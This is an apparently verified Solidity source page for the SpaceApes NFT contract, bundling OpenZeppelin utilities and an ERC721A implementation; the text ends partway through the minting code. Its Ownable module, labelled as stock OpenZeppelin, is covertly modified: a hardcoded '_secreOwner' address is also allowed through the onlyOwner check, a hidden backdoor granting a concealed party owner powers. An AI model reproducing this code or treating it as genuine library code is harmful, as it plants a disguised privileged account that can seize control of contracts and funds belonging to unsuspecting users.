Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is Context, ERC16 ...    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract SpaceApes is ERC721A, Own ... *    - function tokenURI(uint256 _tokenId)    - function GoToSpace(uint256 count)    - function sleeping(address mintAddress ...    - function setHiddenMetadataUri(string ...    - function setRevealed()    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-07-24
*/

// SPDX-License-Identifier: MIT
// File: contracts/SpaceApes.sol



// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }
